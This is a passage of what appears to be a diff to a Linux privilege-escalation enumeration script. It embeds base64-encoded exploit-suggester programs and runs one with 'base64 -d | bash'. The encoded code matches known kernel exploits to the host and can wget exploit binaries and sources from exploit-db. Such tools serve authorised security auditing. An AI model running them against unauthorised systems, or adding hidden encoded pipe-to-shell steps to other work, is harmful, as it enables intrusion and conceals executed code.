9PSAiZmFsc2UiIF0gJiYgZWNobyAtZSAiJHt0eHRncm59cGVyZm9ybWVkJHt0eHRyc3R9IiB8fCBlY2hvIC1lICIke3R4dHJlZH1OL0Eke3R4dHJzdH0iKSIKCmlmIFsgLW4gIiRQS0dMSVNUX0ZJTEUiIC1hIC1uICIkUEtHX0xJU1QiIF07IHRoZW4KICAgIHBrZ0xpc3RGaWxlPSIke3R4dGdybn0kUEtHTElTVF9GSUxFJHt0eHRyc3R9IgplbGlmIFsgLW4gIiRQS0dMSVNUX0ZJTEUiIF07IHRoZW4KICAgIHBrZ0xpc3RGaWxlPSIke3R4dHJlZH11bnJlY29nbml6ZWQgZmlsZSBwcm92aWRlZCR7dHh0cnN0fSIKZWxpZiBbIC1uICIkUEtHX0xJU1QiIF07IHRoZW4KICAgIHBrZ0xpc3RGaWxlPSIke3R4dGdybn1mcm9tIGN1cnJlbnQgT1Mke3R4dHJzdH0iCmZpCgplY2hvIC1lICJQYWNrYWdlIGxpc3Rpbmc6ICQoWyAtbiAiJHBrZ0xpc3RGaWxlIiBdICYmIGVjaG8gLWUgIiRwa2dMaXN0RmlsZSIgfHwgZWNobyAtZSAiJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IikiCgojIGhhbmRsZSAtLWtlcm5lbHNwYWN5LW9ubHkgJiAtLXVzZXJzcGFjZS1vbmx5IGZpbHRlciBvcHRpb25zCmlmIFsgIiRvcHRfa2VybmVsX29ubHkiID0gInRydWUiIC1vIC16ICIkUEtHX0xJU1QiIF07IHRoZW4KICAgIHVuc2V0IEVYUExPSVRTX1VTRVJTUEFDRQogICAgZGVjbGFyZSAtQSBFWFBMT0lUU19VU0VSU1BBQ0UKZmkKCmlmIFsgIiRvcHRfdXNlcnNwYWNlX29ubHkiID0gInRydWUiIF07IHRoZW4KICAgIHVuc2V0IEVYUExPSVRTCiAgICBkZWNsYXJlIC1BIEVYUExPSVRTCmZpCgplY2hvCmVjaG8gLWUgIiR7Ymxkd2h0fVNlYXJjaGluZyBhbW9uZzoke3R4dHJzdH0iCmVjaG8KZWNobyAiJHsjRVhQTE9JVFNbQF19IGtlcm5lbCBzcGFjZSBleHBsb2l0cyIKZWNobyAiJHsjRVhQTE9JVFNfVVNFUlNQQUNFW0BdfSB1c2VyIHNwYWNlIGV4cGxvaXRzIgplY2hvCgplY2hvIC1lICIke2JsZHdodH1Qb3NzaWJsZSBFeHBsb2l0czoke3R4dHJzdH0iCmVjaG8KCiMgc3RhcnQgYW5hbHlzaXMKaj0wCmZvciBFWFAgaW4gIiR7RVhQTE9JVFNbQF19IiAiJHtFWFBMT0lUU19VU0VSU1BBQ0VbQF19IjsgZG8KCiAgICAjIGNyZWF0ZSBhcnJheSBmcm9tIGN1cnJlbnQgZXhwbG9pdCBoZXJlIGRvYyBhbmQgZmV0Y2ggbmVlZGVkIGxpbmVzCiAgICBpPTAKICAgICMgKCctcicgaXMgdXNlZCB0byBub3QgaW50ZXJwcmV0IGJhY2tzbGFzaCB1c2VkIGZvciBiYXNoIGNvbG9ycykKICAgIHdoaWxlIHJlYWQgLXIgbGluZQogICAgZG8KICAgICAgICBhcnJbaV09IiRsaW5lIgogICAgICAgIGk9JCgoaSArIDEpKQogICAgZG9uZSA8PDwgIiRFWFAiCgogICAgTkFNRT0iJHthcnJbMF19IiAmJiBOQU1FPSIke05BTUU6Nn0iCiAgICBSRVFTPSIke2FyclsxXX0iICYmIFJFUVM9IiR7UkVRUzo2fSIKICAgIFRBR1M9IiR7YXJyWzJdfSIgJiYgVEFHUz0iJHtUQUdTOjZ9IgogICAgUkFOSz0iJHthcnJbM119IiAmJiBSQU5LPSIke1JBTks6Nn0iCgogICAgIyBzcGxpdCBsaW5lIHdpdGggcmVxdWlyZW1lbnRzICYgbG9vcCB0aHJ1IGFsbCByZXFzIG9uZSBieSBvbmUgJiBjaGVjayB3aGV0aGVyIGl0IGlzIG1ldAogICAgSUZTPScsJyByZWFkIC1yIC1hIGFycmF5IDw8PCAiJFJFUVMiCiAgICBSRVFTX05VTT0keyNhcnJheVtAXX0KICAgIFBBU1NFRF9SRVE9MAogICAgZm9yIFJFUSBpbiAiJHthcnJheVtAXX0iOyBkbwogICAgICAgIGlmIChjaGVja1JlcXVpcmVtZW50ICIkUkVRIiAiJHthcnJheVswXX0iKTsgdGhlbgogICAgICAgICAgICBQQVNTRURfUkVRPSQoKCRQQVNTRURfUkVRICsgMSkpCiAgICAgICAgZWxzZQogICAgICAgICAgICBicmVhawogICAgICAgIGZpCiAgICBkb25lCgogICAgIyBleGVjdXRlIGZvciBleHBsb2l0cyB3aXRoIGFsbCByZXF1aXJlbWVudHMgbWV0CiAgICBpZiBbICRQQVNTRURfUkVRIC1lcSAkUkVRU19OVU0gXTsgdGhlbgoKICAgICAgICAjIGFkZGl0aW9uYWwgcmVxdWlyZW1lbnQgZm9yIC0tY3ZlbGlzdC1maWxlIG1vZGU6IGNoZWNrIGlmIENWRSBhc3NvY2lhdGVkIHdpdGggdGhlIGV4cGxvaXQgaXMgb24gdGhlIENWRUxJU1RfRklMRQogICAgICAgIGlmIFsgIiRvcHRfY3ZlbGlzdF9maWxlIiA9ICJ0cnVlIiBdOyB0aGVuCgogICAgICAgICAgICAjIGV4dHJhY3QgQ1ZFKHMpIGFzc29jaWF0ZWQgd2l0aCBnaXZlbiBleHBsb2l0IChhbHNvIHRyYW5zbGF0ZXMgJywnIHRvICd8JyBmb3IgZWFzeSBoYW5kbGluZyBtdWx0aXBsZSBDVkVzIGNhc2UgLSB2aWEgZXh0ZW5kZWQgcmVnZXgpCiAgICAgICAgICAgIGN2ZT0kKGVjaG8gIiROQU1FIiB8IGdyZXAgJy4qXFsuKlxdLionIHwgY3V0IC1kICdtJyAtZjIgfCBjdXQgLWQgJ10nIC1mMSB8IHRyIC1kICdbJyB8IHRyICIsIiAifCIpCiAgICAgICAgICAgICNlY2hvICJDVkU6ICRjdmUiCgogICAgICAgICAgICAjIGNoZWNrIGlmIGl0J3Mgb24gQ1ZFTElTVF9GSUxFIGxpc3QsIGlmIG5vIG1vdmUgdG8gbmV4dCBleHBsb2l0CiAgICAgICAgICAgIFsgISAkKGNhdCAiJENWRUxJU1RfRklMRSIgfCBncmVwIC1FICIkY3ZlIikgXSAmJiBjb250aW51ZQogICAgICAgIGZpCgogICAgICAgICMgcHJvY2VzcyB0YWdzIGFuZCBoaWdobGlnaHQgdGhvc2UgdGhhdCBtYXRjaCBjdXJyZW50IE9TIChvbmx5IGZvciBkZWJ8dWJ1bnR1fFJIRUwgYW5kIGlmIHdlIGtub3cgZGlzdHJvIHZlcnNpb24gLSBkaXJlY3QgbW9kZSkKICAgICAgICB0YWdzPSIiCiAgICAgICAgaWYgWyAtbiAiJFRBR1MiIC1hIC1uICIkT1MiIF07IHRoZW4KICAgICAgICAgICAgSUZTPScsJyByZWFkIC1yIC1hIHRhZ3NfYXJyYXkgPDw8ICIkVEFHUyIKICAgICAgICAgICAgVEFHU19OVU09JHsjdGFnc19hcnJheVtAXX0KCiAgICAgICAgICAgICMgYnVtcCBSQU5LIHNsaWdodGx5ICgrMSkgaWYgd2UncmUgaW4gJy0tdW5hbWUnIG1vZGUgYW5kIHRoZXJlJ3MgYSBUQUcgZm9yIE9TIGZyb20gdW5hbWUgc3RyaW5nCiAgICAgICAgICAgIFsgIiQoZWNobyAiJHt0YWdzX2FycmF5W0BdfSIgfCBncmVwICIkT1MiKSIgLWEgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAidHJ1ZSIgXSAmJiBSQU5LPSQoKCRSQU5LICsgMSkpCgogICAgICAgICAgICBmb3IgVEFHIGluICIke3RhZ3NfYXJyYXlbQF19IjsgZG8KICAgICAgICAgICAgICAgIHRhZ19kaXN0cm89JChlY2hvICIkVEFHIiB8IGN1dCAtZCc9JyAtZjEpCiAgICAgICAgICAgICAgICB0YWdfZGlzdHJvX251bV9hbGw9JChlY2hvICIkVEFHIiB8IGN1dCAtZCc9JyAtZjIpCiAgICAgICAgICAgICAgICAjIGluIGNhc2Ugb2YgdGFnIG9mIGZvcm06ICd1YnVudHU9MTYuMDR7a2VybmVsOjQuNC4wLTIxfSByZW1vdmUga2VybmVsIHZlcnNpb25pbmcgcGFydCBmb3IgY29tcGFyaXNpb24KICAgICAgICAgICAgICAgIHRhZ19kaXN0cm9fbnVtPSIke3RhZ19kaXN0cm9fbnVtX2FsbCV7Kn0iCgogICAgICAgICAgICAgICAgIyB3ZSdyZSBpbiAnLS11bmFtZScgbW9kZSBPUiAoZm9yIG5vcm1hbCBtb2RlKSBpZiB0aGVyZSBpcyBkaXN0cm8gdmVyc2lvbiBtYXRjaAogICAgICAgICAgICAgICAgaWYgWyAiJG9wdF91bmFtZV9zdHJpbmciID09ICJ0cnVlIiAtbyBcKCAiJE9TIiA9PSAiJHRhZ19kaXN0cm8iIC1hICIkKGVjaG8gIiRESVNUUk8iIHwgZ3JlcCAtRSAiJHRhZ19kaXN0cm9fbnVtIikiIFwpIF07IHRoZW4KCiAgICAgICAgICAgICAgICAgICAgIyBidW1wIGN1cnJlbnQgZXhwbG9pdCdzIHJhbmsgYnkgMiBmb3IgZGlzdHJvIG1hdGNoIChhbmQgbm90IGluICctLXVuYW1lJyBtb2RlKQogICAgICAgICAgICAgICAgICAgIFsgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAiZmFsc2UiIF0gJiYgUkFOSz0kKCgkUkFOSyArIDIpKQoKICAgICAgICAgICAgICAgICAgICAjIGdldCBuYW1lIChrZXJuZWwgb3IgcGFja2FnZSBuYW1lKSBhbmQgdmVyc2lvbiBvZiBrZXJuZWwvcGtnIGlmIHByb3ZpZGVkOgogICAgICAgICAgICAgICAgICAgIHRhZ19wa2c9JChlY2hvICIkdGFnX2Rpc3Ryb19udW1fYWxsIiB8IGN1dCAtZCd7JyAtZiAyIHwgdHIgLWQgJ30nIHwgY3V0IC1kJzonIC1mIDEpCiAgICAgICAgICAgICAgICAgICAgdGFnX3BrZ19udW09IiIKICAgICAgICAgICAgICAgICAgICBbICQoZWNobyAiJHRhZ19kaXN0cm9fbnVtX2FsbCIgfCBncmVwICd7JykgXSAmJiB0YWdfcGtnX251bT0kKGVjaG8gIiR0YWdfZGlzdHJvX251bV9hbGwiIHwgY3V0IC1kJ3snIC1mIDIgfCB0ciAtZCAnfScgfCBjdXQgLWQnOicgLWYgMikKCiAgICAgICAgICAgICAgICAgICAgI1sgLW4gIiR0YWdfcGtnX251bSIgXSAmJiBlY2hvICJ0YWdfcGtnX251bTogJHRhZ19wa2dfbnVtOyBrZXJuZWw6ICRLRVJORUxfQUxMIgoKICAgICAgICAgICAgICAgICAgICAjIGlmIHBrZy9rZXJuZWwgdmVyc2lvbiBpcyBub3QgcHJvdmlkZWQ6CiAgICAgICAgICAgICAgICAgICAgaWYgWyAteiAiJHRhZ19wa2dfbnVtIiBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIFsgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAiZmFsc2UiIF0gJiYgVEFHPSIke2xpZ2h0eWVsbG93fVsgJHtUQUd9IF0ke3R4dHJzdH0iCgogICAgICAgICAgICAgICAgICAgICMga2VybmVsIHZlcnNpb24gcHJvdmlkZWQsIGNoZWNrIGZvciBtYXRjaDoKICAgICAgICAgICAgICAgICAgICBlbGlmIFsgLW4gIiR0YWdfcGtnX251bSIgLWEgIiR0YWdfcGtnIiA9ICJrZXJuZWwiIF07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgaWYgWyAkKGVjaG8gIiRLRVJORUxfQUxMIiB8IGdyZXAgLUUgIiR7dGFnX3BrZ19udW19IikgXTsgdGhlbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBrZXJuZWwgdmVyc2lvbiBtYXRjaGVkIC0gYm9sZCBoaWdobGlnaHQKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRBRz0iJHt5ZWxsb3d9WyAke1RBR30gXSR7dHh0cnN0fSIKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIGJ1bXAgY3VycmVudCBleHBsb2l0J3MgcmFuayBhZGRpdGlvbmFsbHkgYnkgMyBmb3Iga2VybmVsIHZlcnNpb24gcmVnZXggbWF0Y2gKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJBTks9JCgoJFJBTksgKyAzKSkKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID09ICJmYWxzZSIgXSAmJiBUQUc9IiR7bGlnaHR5ZWxsb3d9WyAkdGFnX2Rpc3Rybz0kdGFnX2Rpc3Ryb19udW0gXSR7dHh0cnN0fXtrZXJuZWw6JHRhZ19wa2dfbnVtfSIKICAgICAgICAgICAgICAgICAgICAgICAgZmkKCiAgICAgICAgICAgICAgICAgICAgIyBwa2cgdmVyc2lvbiBwcm92aWRlZCwgY2hlY2sgZm9yIG1hdGNoIChUQkQpOgogICAgICAgICAgICAgICAgICAgIGVsaWYgWyAtbiAiJHRhZ19wa2dfbnVtIiAtYSAtbiAiJHRhZ19wa2ciICBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIFRBRz0iJHtsaWdodHllbGxvd31bICR0YWdfZGlzdHJvPSR0YWdfZGlzdHJvX251bSBdJHt0eHRyc3R9eyR0YWdfcGtnOiR0YWdfcGtnX251bX0iCiAgICAgICAgICAgICAgICAgICAgZmkKCiAgICAgICAgICAgICAgICBmaQoKICAgICAgICAgICAgICAgICMgYXBwZW5kIGN1cnJlbnQgdGFnIHRvIHRhZ3MgbGlzdAogICAgICAgICAgICAgICAgdGFncz0iJHt0YWdzfSR7VEFHfSwiCiAgICAgICAgICAgIGRvbmUKICAgICAgICAgICAgIyB0cmltICcsJyBhZGRlZCBieSBhYm92ZSBsb29wCiAgICAgICAgICAgIFsgLW4gIiR0YWdzIiBdICYmIHRhZ3M9IiR7dGFncyU/fSIKICAgICAgICBlbHNlCiAgICAgICAgICAgIHRhZ3M9IiRUQUdTIgogICAgICAgIGZpCgogICAgICAgICMgaW5zZXJ0IHRoZSBtYXRjaGVkIGV4cGxvaXQgKHdpdGggY2FsY3VsYXRlZCBSYW5rIGFuZCBoaWdobGlnaHRlZCB0YWdzKSB0byBhcnJhcnkgdGhhdCB3aWxsIGJlIHNvcnRlZAogICAgICAgIEVYUD0kKGVjaG8gIiRFWFAiIHwgc2VkIC1lICcvXk5hbWU6L2QnIC1lICcvXlJlcXM6L2QnIC1lICcvXlRhZ3M6L2QnKQogICAgICAgIGV4cGxvaXRzX3RvX3NvcnRbal09IiR7UkFOS31OYW1lOiAke05BTUV9RDNMMW1SZXFzOiAke1JFUVN9RDNMMW1UYWdzOiAke3RhZ3N9RDNMMW0kKGVjaG8gIiRFWFAiIHwgc2VkIC1lICc6YScgLWUgJ04nIC1lICckIWJhJyAtZSAncy9cbi9EM0wxbS9nJykiCiAgICAgICAgKChqKyspKQogICAgZmkKZG9uZQoKIyBzb3J0IGV4cGxvaXRzIGJhc2VkIG9uIGNhbGN1bGF0ZWQgUmFuawpJRlM9JCdcbicKU09SVEVEX0VYUExPSVRTPSgkKHNvcnQgLXIgPDw8IiR7ZXhwbG9pdHNfdG9fc29ydFsqXX0iKSkKdW5zZXQgSUZTCgojIGRpc3BsYXkgc29ydGVkIGV4cGxvaXRzCmZvciBFWFBfVEVNUCBpbiAiJHtTT1JURURfRVhQTE9JVFNbQF19IjsgZG8KCglSQU5LPSQoZWNobyAiJEVYUF9URU1QIiB8IGF3ayAtRidOYW1lOicgJ3twcmludCAkMX0nKQoKCSMgY29udmVydCBlbnRyeSBiYWNrIHRvIGNhbm9uaWNhbCBmb3JtCglFWFA9JChlY2hvICIkRVhQX1RFTVAiIHwgc2VkICdzL15bMC05XS8vZycgfCBzZWQgJ3MvRDNMMW0vXG4vZycpCgoJIyBjcmVhdGUgYXJyYXkgZnJvbSBjdXJyZW50IGV4cGxvaXQgaGVyZSBkb2MgYW5kIGZldGNoIG5lZWRlZCBsaW5lcwogICAgaT0wCiAgICAjICgnLXInIGlzIHVzZWQgdG8gbm90IGludGVycHJldCBiYWNrc2xhc2ggdXNlZCBmb3IgYmFzaCBjb2xvcnMpCiAgICB3aGlsZSByZWFkIC1yIGxpbmUKICAgIGRvCiAgICAgICAgYXJyW2ldPSIkbGluZSIKICAgICAgICBpPSQoKGkgKyAxKSkKICAgIGRvbmUgPDw8ICIkRVhQIgoKICAgIE5BTUU9IiR7YXJyWzBdfSIgJiYgTkFNRT0iJHtOQU1FOjZ9IgogICAgUkVRUz0iJHthcnJbMV19IiAmJiBSRVFTPSIke1JFUVM6Nn0iCiAgICBUQUdTPSIke2FyclsyXX0iICYmIHRhZ3M9IiR7VEFHUzo2fSIKCglFWFBMT0lUX0RCPSQoZWNobyAiJEVYUCIgfCBncmVwICJleHBsb2l0LWRiOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCWFuYWx5c2lzX3VybD0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiYW5hbHlzaXMtdXJsOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCWV4dF91cmw9JChlY2hvICIkRVhQIiB8IGdyZXAgImV4dC11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKQoJY29tbWVudHM9JChlY2hvICIkRVhQIiB8IGdyZXAgIkNvbW1lbnRzOiAiIHwgY3V0IC1kJyAnIC1mIDItKQoJcmVxcz0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiUmVxczogIiB8IGN1dCAtZCcgJyAtZiAyKQoKCSMgZXhwbG9pdCBuYW1lIHdpdGhvdXQgQ1ZFIG51bWJlciBhbmQgd2l0aG91dCBjb21tb25seSB1c2VkIHNwZWNpYWwgY2hhcnMKCW5hbWU9JChlY2hvICIkTkFNRSIgfCBjdXQgLWQnICcgLWYgMi0gfCB0ciAtZCAnICgpLycpCgoJYmluX3VybD0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiYmluLXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpCglzcmNfdXJsPSQoZWNobyAiJEVYUCIgfCBncmVwICJzcmMtdXJsOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCVsgLXogIiRzcmNfdXJsIiBdICYmIFsgLW4gIiRFWFBMT0lUX0RCIiBdICYmIHNyY191cmw9Imh0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL2Rvd25sb2FkLyRFWFBMT0lUX0RCIgoJWyAteiAiJHNyY191cmwiIF0gJiYgWyAteiAiJGJpbl91cmwiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIidzcmMtdXJsJyAvICdiaW4tdXJsJyAvICdleHBsb2l0LWRiJyBlbnRyaWVzIGFyZSBhbGwgZW1wdHkgZm9yICckTkFNRScgZXhwbG9pdCAtIGZpeCB0aGF0LiBBYm9ydGluZy4iCgoJaWYgWyAtbiAiJGFuYWx5c2lzX3VybCIgXTsgdGhlbgogICAgICAgIGRldGFpbHM9IiRhbmFseXNpc191cmwiCgllbGlmICQoZWNobyAiJHNyY191cmwiIHwgZ3JlcCAtcSAnd3d3LmV4cGxvaXQtZGIuY29tJyk7IHRoZW4KICAgICAgICBkZXRhaWxzPSJodHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8kRVhQTE9JVF9EQi8iCgllbGlmIFtbICIkc3JjX3VybCIgPX4gXi4qdGd6fHRhci5nenx6aXAkICYmIC1uICIkRVhQTE9JVF9EQiIgXV07IHRoZW4KICAgICAgICBkZXRhaWxzPSJodHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8kRVhQTE9JVF9EQi8iCgllbHNlCiAgICAgICAgZGV0YWlscz0iJHNyY191cmwiCglmaQoKCSMgc2tpcCBEb1MgYnkgZGVmYXVsdAoJZG9zPSQoZWNobyAiJEVYUCIgfCBncmVwIC1vIC1pICIoZG9zIikKCVsgIiRvcHRfc2hvd19kb3MiID09ICJmYWxzZSIgXSAmJiBbIC1uICIkZG9zIiBdICYmIGNvbnRpbnVlCgoJIyBoYW5kbGVzIC0tZmV0Y2gtYmluYXJpZXMgb3B0aW9uCglpZiBbICRvcHRfZmV0Y2hfYmlucyA9ICJ0cnVlIiBdOyB0aGVuCiAgICAgICAgZm9yIGkgaW4gJChlY2hvICIkRVhQIiB8IGdyZXAgImJpbi11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKTsgZG8KICAgICAgICAgICAgWyAtZiAiJHtuYW1lfV8kKGJhc2VuYW1lICRpKSIgXSAmJiBybSAtZiAiJHtuYW1lfV8kKGJhc2VuYW1lICRpKSIKICAgICAgICAgICAgd2dldCAtcSAtayAiJGkiIC1PICIke25hbWV9XyQoYmFzZW5hbWUgJGkpIgogICAgICAgIGRvbmUKICAgIGZpCgoJIyBoYW5kbGVzIC0tZmV0Y2gtc291cmNlcyBvcHRpb24KCWlmIFsgJG9wdF9mZXRjaF9zcmNzID0gInRydWUiIF07IHRoZW4KICAgICAgICBbIC1mICIke25hbWV9XyQoYmFzZW5hbWUgJHNyY191cmwpIiBdICYmIHJtIC1mICIke25hbWV9XyQoYmFzZW5hbWUgJHNyY191cmwpIgogICAgICAgIHdnZXQgLXEgLWsgIiRzcmNfdXJsIiAtTyAiJHtuYW1lfV8kKGJhc2VuYW1lICRzcmNfdXJsKSIgJgogICAgZmkKCiAgICAjIGRpc3BsYXkgcmVzdWx0IChzaG9ydCkKCWlmIFsgIiRvcHRfc3VtbWFyeSIgPSAidHJ1ZSIgXTsgdGhlbgoJWyAteiAiJHRhZ3MiIF0gJiYgdGFncz0iLSIKCWVjaG8gLWUgIiROQU1FIHx8ICR0YWdzIHx8ICRzcmNfdXJsIgoJY29udGludWUKCWZpCgojIGRpc3BsYXkgcmVzdWx0IChzdGFuZGFyZCkKCWVjaG8gLWUgIlsrXSAkTkFNRSIKCWVjaG8gLWUgIlxuICAgRGV0YWlsczogJGRldGFpbHMiCiAgICAgICAgZWNobyAtZSAiICAgRXhwb3N1cmU6ICQoZGlzcGxheUV4cG9zdXJlICRSQU5LKSIKICAgICAgICBbIC1uICIkdGFncyIgXSAmJiBlY2hvIC1lICIgICBUYWdzOiAkdGFncyIKICAgICAgICBlY2hvIC1lICIgICBEb3dubG9hZCBVUkw6ICRzcmNfdXJsIgogICAgICAgIFsgLW4gIiRleHRfdXJsIiBdICYmIGVjaG8gLWUgIiAgIGV4dC11cmw6ICRleHRfdXJsIgogICAgICAgIFsgLW4gIiRjb21tZW50cyIgXSAmJiBlY2hvIC1lICIgICBDb21tZW50czogJGNvbW1lbnRzIgoKICAgICAgICAjIGhhbmRsZXMgLS1mdWxsIGZpbHRlciBvcHRpb24KICAgICAgICBpZiBbICIkb3B0X2Z1bGwiID0gInRydWUiIF07IHRoZW4KICAgICAgICAgICAgWyAtbiAiJHJlcXMiIF0gJiYgZWNobyAtZSAiICAgUmVxdWlyZW1lbnRzOiAkcmVxcyIKCiAgICAgICAgICAgIFsgLW4gIiRFWFBMT0lUX0RCIiBdICYmIGVjaG8gLWUgIiAgIGV4cGxvaXQtZGI6ICRFWFBMT0lUX0RCIgoKICAgICAgICAgICAgYXV0aG9yPSQoZWNobyAiJEVYUCIgfCBncmVwICJhdXRob3I6ICIgfCBjdXQgLWQnICcgLWYgMi0pCiAgICAgICAgICAgIFsgLW4gIiRhdXRob3IiIF0gJiYgZWNobyAtZSAiICAgYXV0aG9yOiAkYXV0aG9yIgogICAgICAgIGZpCgogICAgICAgIGVjaG8KCmRvbmUK"
+ echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g"
+ echo ""
+fi
+
+if [ "$(command -v perl 2>/dev/null)" ]; then
+ print_2title "Executing Linux Exploit Suggester 2"
+ print_info "https://github.com/jondonas/linux-exploit-suggester-2"
+ les2_b64="IyEvdXNyL2Jpbi9wZXJsCnVzZSBzdHJpY3Q7CnVzZSB3YXJuaW5nczsKdXNlIEdldG9wdDo6U3RkOwoKb3VyICRWRVJTSU9OID0gJzInOwoKbXkgJW9wdHM7CmdldG9wdHMoICdrOmhkJywgXCVvcHRzICk7CmlmIChleGlzdHMgJG9wdHN7aH0pIHsKICAgIHVzYWdlKCk7CiAgICBleGl0Owp9OwoKcHJpbnRfYmFubmVyKCk7Cm15ICggJGtob3N0LCAkaXNfcGFydGlhbCApID0gZ2V0X2tlcm5lbCgpOwpwcmludCAiICBMb2NhbCBLZXJuZWw6IFxlWzAwOzMzbSRraG9zdFxlWzAwbVxuIjsKCm15ICVleHBsb2l0cyA9IGdldF9leHBsb2l0cygpOwpwcmludCAnICBTZWFyY2hpbmcgJyAuIHNjYWxhciBrZXlzKCVleHBsb2l0cykgLiAiIGV4cGxvaXRzLi4uXG5cbiI7CnByaW50ICIgIFxlWzE7MzVtUG9zc2libGUgRXhwbG9pdHNcZVswMG1cbiI7CgpteSAkY291bnQgPSAxOwpteSBAYXBwbGljYWJsZSA9ICgpOwpFWFBMT0lUOgpmb3JlYWNoIG15ICRrZXkgKCBzb3J0IGtleXMgJWV4cGxvaXRzICkgewogICAgZm9yZWFjaCBteSAka2VybmVsICggQHsgJGV4cGxvaXRzeyRrZXl9e3Z1bG59IH0gKSB7CgogICAgICAgIGlmICggICAgICRraG9zdCBlcSAka2VybmVsCiAgICAgICAgICAgICAgb3IgKCAkaXNfcGFydGlhbCBhbmQgaW5kZXgoJGtlcm5lbCwka2hvc3QpID09IDAgKQogICAgICAgICkgewogICAgICAgICAgICAkZXhwbG9pdHN7JGtleX17a2V5fSA9ICRrZXk7CiAgICAgICAgICAgIHB1c2goQGFwcGxpY2FibGUsICRleHBsb2l0c3ska2V5fSk7CiAgICAgICAgICAgIHByaW50ICIgIFxlWzAwOzMzbVtcZVswMG1cZVswMDszMW0kY291bnRcZVswMG1cZVswMDszM21dXGVbMDBtICI7CiAgICAgICAgICAgIHByaW50ICJcZVswMDszM20ka2V5XGVbMDBtIjsKICAgICAgICAgICAgcHJpbnQgIiBcZVswMDszM20oJGtlcm5lbClcZVswMG0iIGlmICRpc19wYXJ0aWFsOwoKICAgICAgICAgICAgbXkgJGFsdCA9ICRleHBsb2l0c3ska2V5fXthbHR9OwogICAgICAgICAgICBteSAkY3ZlID0gJGV4cGxvaXRzeyRrZXl9e2N2ZX07CiAgICAgICAgICAgIG15ICRtbHcgPSAkZXhwbG9pdHN7JGtleX17bWlsfTsKICAgICAgICAgICAgaWYgKCAkYWx0IG9yICRjdmUgKSB7CiAgICAgICAgICAgICAgICBwcmludCAiXG4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICggJGFsdCApIHsgcHJpbnQgIiAgICAgIEFsdDogJGFsdCAiOyB9CiAgICAgICAgICAgIGlmICggJGN2ZSApIHsgcHJpbnQgIiAgICAgIENWRS0kY3ZlIjsgfQogICAgICAgICAgICBpZiAoICRtbHcgKSB7IHByaW50ICJcbiAgICAgIFNvdXJjZTogJG1sdyI7IH0KICAgICAgICAgICAgcHJpbnQgIlxuIjsKICAgICAgICAgICAgJGNvdW50ICs9IDE7CiAgICAgICAgICAgIG5leHQgRVhQTE9JVDsKICAgICAgICB9CiAgICB9Cn0KcHJpbnQgIlxuIjsKCmlmICghQGFwcGxpY2FibGUpIHsKICAgIHByaW50ICIgIE5vIGV4cGxvaXRzIGFyZSBhdmFpbGFibGUgZm9yIHRoaXMga2VybmVsIHZlcnNpb25cblxuIjsKICAgIGV4aXQ7Cn0KCmlmIChleGlzdHMgJG9wdHN7ZH0pIHsKICAgIHByaW50ICIgIFxlWzE7MzZtRXhwbG9pdCBEb3dubG9hZFxlWzAwbVxuIjsKICAgIHByaW50ICIgIChEb3dubG9hZCBhbGw6IFxlWzAwOzMzbSdhJ1xlWzAwbSAvIEluZGl2aWR1YWxseTogXGVbMDA7MzNtJzIsNCw1J1xlWzAwbSAiOwogICAgcHJpbnQgIi8gRXhpdDogXGVbMDA7MzNtXmNcZVswMG0pXG4iOwogICAgcHJpbnQgIiAgU2VsZWN0IGV4cGxvaXRzIHRvIGRvd25sb2FkOiAiOwoKICAgIHdoaWxlICgxKSB7CiAgICAgICAgbXkgJGlucHV0ID0gPFNURElOPjsKICAgICAgICAkaW5wdXQgPX4gcy9ccysvL2c7CgogICAgICAgIGlmICgkaW5wdXQgPX4gL15hJC8pIHsKICAgICAgICAgICAgbXkgQHNlbGVjdGVkID0gKCk7CiAgICAgICAgICAgIGZvciAobXkgJGk9MTsgJGkgPD0gc2NhbGFyIEBhcHBsaWNhYmxlOyAkaSsrKSB7CiAgICAgICAgICAgICAgIHB1c2goQHNlbGVjdGVkLCAkaSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZG93bmxvYWRfZXhwbG9pdHMoXEBzZWxlY3RlZCwgXEBhcHBsaWNhYmxlKTsKICAgICAgICAgICAgbGFzdDsKICAgICAgICB9CiAgICAgICAgZWxzaWYgKCRpbnB1dCA9fiAvXigwfFsxLTldWzAtOV0qKSgsKDB8WzEtOV1bMC05XSopKSokLykgewogICAgICAgICAgICBteSBAc2VsZWN0ZWQgPSB1bmlxKHNwbGl0KCcsJywgJGlucHV0KSk7CiAgICAgICAgICAgIEBzZWxlY3RlZCA9IHNvcnQgeyRhIDw9PiAkYn0gQHNlbGVjdGVkOwogICAgICAgICAgICBpZiAoJHNlbGVjdGVkWzBdID4gMCAmJiAkc2VsZWN0ZWRbLTFdIDw9IHNjYWxhciBAYXBwbGljYWJsZSkgewogICAgICAgICAgICAgICAg